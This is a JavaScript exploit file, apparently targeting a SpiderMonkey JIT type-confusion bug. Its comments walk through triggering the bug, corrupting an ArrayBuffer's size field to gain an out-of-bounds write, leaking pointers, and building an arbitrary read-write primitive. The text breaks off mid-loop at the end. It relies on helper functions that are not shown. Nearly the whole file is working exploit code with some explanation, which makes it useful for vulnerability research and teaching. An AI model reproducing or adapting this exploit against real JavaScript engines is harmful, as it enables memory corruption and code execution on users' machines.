/* exploit code start */ buf = [] /* okay, addition of this for loop somehow led to the bug not getting triggered Pushing stuff manually into the buf array works fine. I am not quite sure why this is happening and would be glad if someone can explain why this happens */ // for(var i=0;i<100;i++) // { // buf.push(new ArrayBuffer(0x20)); // } buf.push(new ArrayBuffer(0x20)); buf.push(new ArrayBuffer(0x20)); buf.push(new ArrayBuffer(0x20)); buf.push(new ArrayBuffer(0x20)); buf.push(new ArrayBuffer(0x20)); buf.push(new ArrayBuffer(0x20)); buf.push(new ArrayBuffer(0x20)); buf.push(new ArrayBuffer(0x20)); buf.push(new ArrayBuffer(0x20)); buf.push(new ArrayBuffer(0x20)); var abuf = buf[5]; var e = new Uint32Array(abuf); const arr = [e, e, e, e, e]; /* funtion that will trigger the bug*/ function vuln(a1) { /* If the length of the array becomes zero then we set the third element of the array thus converting it into a sparse array without changing the type of the array elements. Thus spidermonkey's Type Inference System does not insert a type barrier. */ if (arr.length == 0) { arr[3] = e; } const v11 = arr.pop(); /* The length of the buffer is only 8, but we are trying to add to the index at 18. This will not work, but no error will be thrown either. When the array returned by array.pop is a Uint8Array instead of a Uint32Array, then the size of that array is 0x20 and the index that we are trying to write to, i.e 18, is less than that. But keep in mind that Ion still thinks that this array is a Uint32Array and treats each element as a DWORD, thus resulting in an overflow into the metadata of the following ArrayBuffer. Here we are overwriting the size field of the following ArrayBuffer with a large size, thus leading to an overflow in the data buffer of the following ArrayBuffer i.e buf[6] */ v11[a1] = 0x80 for (let v15 = 0; v15 < 100000; v15++) {} // JIT compile this function } /* Add a prototype to the arr arrray prototype chain and set the zero'th element as a Uint8Array to trigger the type confussion */ p = [new Uint8Array(abuf), e, e]; arr.__proto__ = p; for (let v31 = 0; v31 < 2000; v31++) { vuln(18); } /* Now the size of the ArrayBufffer which is located at the sixth index is 0x80 whereas it's data buffer is only 0x20. We use this overflow to completly control the ArrayBuffer at the 7th index */ leaker = new Uint8Array(buf[7]); aa = new Uint8Array(buf[6]); /* Now leak the contents of buf[7] to obtain leaks for a Uint Array, and an ArrayBuffer */ leak = aa.slice(0x50,0x58); // start of the Uint array group = aa.slice(0x40,0x48); // start of the array buffer slots = aa.slice(0x40,0x48); leak.reverse() group.reverse() slots.reverse() /* Since the pointer to the start of the data buffer is right shifted, we first need to left shift it. */ LS(group) LS(slots) /* remove the type tag */ leak[0]=0 leak[1]=0 /* Get to the data buffer of the Uint array */ add(leak,new data("0x38")) RS(leak) leak.reverse() /* Set the data pointer of buf[7] using the overflow in buf[6] We set this pointer to point to the the address of the data pointer field of the Unit that we leaked. Thus next time a view is created using this modified ArrayBuffer, it's data pointer will point to the data pointer of the Uint array! So when we write something to this view, then the data pointer of the leaked Uint array will be overwritten. So we now have the power to control the data pointer a Uint array. Thus we can leak from any address we want and write to any address just by overwritting the data pointer of the Uint Array and viewing/writing to the Uint array. Thus we now effectively have an arbitrary read-write primitive! */ for (var i=0;i